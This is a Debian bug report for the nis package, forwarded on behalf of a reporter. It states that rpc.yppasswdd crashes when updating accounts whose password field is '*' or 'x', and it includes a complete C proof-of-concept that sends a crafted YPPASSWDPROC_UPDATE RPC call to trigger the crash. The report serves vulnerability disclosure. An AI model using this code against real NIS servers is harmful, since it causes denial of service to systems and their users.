Source: nis
Version: 3.17.1-1
Severity: important
Tags: security

I'm forwarding this on behalf of Jimm Scott to the BTS:

----cut---------cut---------cut---------cut---------cut---------cut-----
To rephrase the issue: rpc.yppasswdd crashes when you try to update any 
record with a password hash length of 0 or 1 character (so any account 
with just an * or x in the second field).

Code below can be used to poke these accounts and make it crash.
Usage: just try to update the password on such an account.

Kind regards,
Jimmy Scott


#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <rpc/rpc.h>
#include <rpcsvc/ypclnt.h>


/* XXX BEGIN - FROM YPPASSWD.H */

struct xpasswd {
         char *pw_name;
         char *pw_passwd;
         int pw_uid;
         int pw_gid;
         char *pw_gecos;
         char *pw_dir;
         char *pw_shell;
};
typedef struct xpasswd xpasswd;

struct yppasswd {
         char *oldpass;
         xpasswd newpw;
};
typedef struct yppasswd yppasswd;

#define YPPASSWDPROG ((u_long)100009)
#define YPPASSWDVERS ((u_long)1)

#define YPPASSWDPROC_UPDATE ((u_long)1)

//extern  bool_t xdr_xpasswd (XDR *, xpasswd*);
//extern  bool_t xdr_yppasswd (XDR *, yppasswd*);

/* XXX END - FROM YPPASSWD.H */


/* XXX BEGIN - FROM YPPASSWD_XDR.C */

static bool_t
xdr_passwd (XDR *xdrs, xpasswd *objp)
{
         if (!xdr_string (xdrs, &objp->pw_name, ~0))
                 return FALSE;
         if (!xdr_string (xdrs, &objp->pw_passwd, ~0))
                 return FALSE;
         if (!xdr_int (xdrs, &objp->pw_uid))
                 return FALSE;
         if (!xdr_int (xdrs, &objp->pw_gid))
                 return FALSE;
         if (!xdr_string (xdrs, &objp->pw_gecos, ~0))
                 return FALSE;
         if (!xdr_string (xdrs, &objp->pw_dir, ~0))
                 return FALSE;
         if (!xdr_string (xdrs, &objp->pw_shell, ~0))
                 return FALSE;
         return TRUE;
}

bool_t
xdr_yppasswd (XDR *xdrs, yppasswd *objp)
{
         if (!xdr_string (xdrs, &objp->oldpass, ~0))
                 return FALSE;
         if (!xdr_passwd (xdrs, &objp->newpw))
                 return FALSE;
         return TRUE;
}

/* XXX END - FROM YPPASSWD_XDR.C */


void usage(char *prog) {
         printf(
                 "usage: %s <master> <oldpw> <user> <newpw> <uid> "
                 "<gid> <gecos> <dir> <shell>\n", prog
         );
         exit(1);
}

int main(int argc, char **argv) {
         int status;
         char *master;
         struct yppasswd yppwd;
         struct timeval TIMEOUT = {0, 0};
         CLIENT *clnt;

         // Setup prog
         if (argc != 10) usage(argv[0]);
         master = argv[1];

         // Setup RPC client
         printf("Setup RPC...\n");
         clnt = clnt_create (master, YPPASSWDPROG, YPPASSWDVERS, "udp");
         clnt->cl_auth = authunix_create_default ();

         // Prepare YPPASSWD call
         printf("Setup YPPASSWD...\n");
         memset (&yppwd, '\0', sizeof (yppwd));
         memset ((char *) &status, '\0', sizeof (status));
         yppwd.oldpass           = argv[2];
         yppwd.newpw.pw_name     = argv[3];
         yppwd.newpw.pw_passwd   = argv[4];
         yppwd.newpw.pw_uid      = atoi(argv[5]);
         yppwd.newpw.pw_gid      = atoi(argv[6]);
         yppwd.newpw.pw_gecos    = argv[7];
         yppwd.newpw.pw_dir      = argv[8];
         yppwd.newpw.pw_shell    = argv[9];

         // Fire in the hole!!
         printf("Sending packet...\n");
         clnt_call (clnt, YPPASSWDPROC_UPDATE,
                 (xdrproc_t) xdr_yppasswd, (char *) &yppwd,
                 (xdrproc_t) xdr_int, (char *) &status, TIMEOUT);
}
----cut---------cut---------cut---------cut---------cut---------cut-----

Regards,
Salvatore

Reply via email to